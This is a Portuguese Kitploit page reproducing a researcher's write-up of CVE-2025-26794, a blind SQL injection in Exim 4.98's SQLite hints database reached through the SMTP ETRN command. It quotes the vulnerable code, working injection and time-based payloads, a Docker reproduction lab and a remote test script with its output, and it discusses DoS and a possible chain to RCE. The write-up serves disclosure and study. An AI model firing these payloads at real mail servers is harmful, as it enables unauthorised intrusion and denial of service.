Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-26794 — CVE-2025-26794: Blind SQL injection in Exim 4.98 (SQLite DBM)- exploit writeup | Kitploit
Ferramentas/GitHubGitHub/oscarbataille/cve-2025-26794
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase SecurityLabs & Practice
GitHuboscarbataille/cve-2025-26794

CVE-2025-26794

CVE-2025-26794: Blind SQL injection in Exim 4.98 (SQLite DBM)- exploit writeup

Ver Repositório
15há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-26794: Injeção SQL cega no Exim 4.98 (SQLite DBM) - writeup de exploração

Relatório do Exim: https://www.exim.org/static/doc/security/CVE-2025-26794.txt

Descobri esta vulnerabilidade através de uma revisão manual de código.

Detalhes da vulnerabilidade:

Problema

Os parâmetros SQL, quando o SQLite é usado como DBM, não são devidamente sanitizados. Isso resulta na possibilidade de um utilizador remoto criar consultas SQLite personalizadas.

Requisitos:

  • Compilar o Exim com "USE_SQLITE = yes". Isto definirá o SQLite como o Gestor de Base de Dados (DBM).
  • Ativar o comando ETRN. Para isso, é necessário definir "acl_smtp_etrn" no ficheiro de configuração.

PoC

Introdução

O Exim utiliza uma base de dados interna para armazenamento interno de chave:valor (chamada HintsDB) que suporta vários backends, definidos em tempo de compilação. A adição mais recente foi o SQLite. É usado para armazenar:

  • Sessões TLS
  • Informações sobre limites de taxa
  • Informações sobre tentativas
  • Semáforos (com enq_start()) para comandos ETRN e entrega SMTP
  • Informações sobre limites de concorrência para transporte
  • "Base de dados de espera" para entregas de e-mail que foram adiadas por um transporte
  • Para PIPECONNECT: armazenamento em cache de respostas EHLO de servidores remotos

O ficheiro afetado é hintsdb.h. Foi movido para um ficheiro separado (hints_sqlite.h) nos commits mais recentes. Apenas as funções SQLite são afetadas (exemplo de função: exim_s_dbp).

root@kitploit:~
 static inline int
exim_s_dbp(EXIM_DB * dbp, EXIM_DATUM * key, EXIM_DATUM * data, const uschar * alt)
{
int hlen = data->len * 2, off = 0, res;
# define FMT "INSERT OR %s INTO tbl (ky,dat) VALUES ('%.*s', X'%.*s');"
[...]
qry = string_sprintf(FMT, alt, (int) key->len, key->data, hlen, hex);
[...]
res = sqlite3_exec(dbp, CS qry, NULL, NULL, NULL);
[...]
}

A chave de entrada não é devidamente escapada. Portanto, se conseguirmos controlar a chave, seremos capazes de injetar qualquer código SQLite.

Exploração

O RFC1985 define o comando SMTP ETRN, "através do qual um cliente pode solicitar que o servidor inicie o processamento das suas filas de correio para mensagens que estão à espera no servidor para a máquina cliente". É utilizado com o comando SMTP: ETRN #domínio.com.

No Exim, o comando ETRN define um semáforo na HintsDB para evitar executar múltiplos comandos ETRN em paralelo. Este semáforo é implementado pela função enq_start(keyname, value) que cria uma nova entrada na base de dados "misc".

root@kitploit:~
etrn_serialize_key = string_sprintf("etrn-%s\n", smtp_cmd_data);

[...]

if (smtp_etrn_serialize && !enq_start(etrn_serialize_key, 1))
{
	smtp_printf("458 Already processing %s\r\n", SP_NO_MORE, smtp_cmd_data);
	break;
}

Por exemplo, o comando SMTP ETRN #teste.com criará uma entrada temporária na base de dados SQLite "misc" com a chave "etrn-#teste.com" e o valor 1.

No final do processamento do comando ETRN, a entrada da base de dados será removida:

root@kitploit:~
enq_end(etrn_serialize_key);

Como controlamos a chave, podemos injetar o nosso próprio código SQL com o seguinte comando SMTP:

root@kitploit:~
ETRN #',1); ## INSERIR SQL AQUI ##  /*

Como não há saída, podemos enviar um payload SQLi baseado em tempo para testar remotamente esta vulnerabilidade:

root@kitploit:~
ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*

Impacto

  • Consegui conectar-me a outras bases de dados SQLite locais (às quais o utilizador Exim tem acesso) com ATTACH DATABASE. Acho que provavelmente poderíamos explorar uma condição de corrida no Exim para desencadear algum comportamento indefinido ao interferir com as outras bases de dados usadas. Ainda é muito hipotético por agora.
  • Também temos acesso a toda a superfície de ataque do SQLite. Podemos combinar esta exploração com uma exploração SQLite para obter RCE.

Limitações da exploração:

  • Os tipos de consulta dbm, dmbjz, dbmnz usam o DBM configurado (SQLite neste caso), o que pode aumentar significativamente a superfície de ataque. Não testei a exploração. No entanto, usar a consulta dbm quando o SQLite está definido como DBM parece improvável.
  • Suponho que seja bastante raro ativar o comando ETRN (e bastante antigo). Não consegui encontrar em mais nenhum local do código onde a entrada do utilizador seja usada para construir a string de consulta.
  • Suponho que seja bastante raro ativar o suporte SQLite como DBM, pois é muito recente.
  • Suponho que também seja bastante raro usar SQLite como DBM, pois foi adicionado apenas na versão mais recente do Exim. Portanto, duvido que este método de exploração tenha sido usado no mundo real. No entanto, é uma vulnerabilidade grave.

Isto significa que poderíamos facilmente fazer DoS (ex: encher o disco), mas escalar isto para Execução Remota de Código exigiria mais trabalho, mas pode ser possível.

Reproduzir o bug

Aqui está um laboratório Docker local para ajudar a reproduzir esta vulnerabilidade.

Construir e iniciar o exim

  1. git clone [email protected]:OscarBataille/CVE-2025-26794.git
  2. cd CVE-2025-26794/docker_lab
  3. bash docker.sh irá construir e fazer login no contentor
  4. Dentro do contentor bash start-exim.sh para iniciar o servidor exim

Conectar ao servidor EXIM

  1. Conectar com Netcat: nc 127.0.0.1 25
  2. 220 55c3a4b2466a ESMTP Exim 4.98-XX Sat, 22 Feb 2025 14:31:50 +0000
  3. Emitir o comando ETRN: ETRN #'
  4. Verificar o log do Exim para esta linha: sqlite3_exec: near "', X'": syntax error

Testar um servidor

Desenvolvi um script test.py para testar remotamente esta vulnerabilidade.

root@kitploit:~
python3 docker_lab/test.py <host>

Exemplo:

root@kitploit:~
oscar@LAPTOP:~/CVE-2025-26794$ python3 docker_lab/test.py 127.0.0.1
Server banner: 220 e2d34a592d06 ESMTP Exim 4.98-XX Wed, 19 Mar 2025 07:02:13 +0000

Client:  ETRN #

ETRN response: 458 Already processing
 Time: 0.006737470626831055

Client:  ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*

ETRN response: 250 OK
 Time: 1.073132038116455

!! Vulnerable
Baixar ferramenta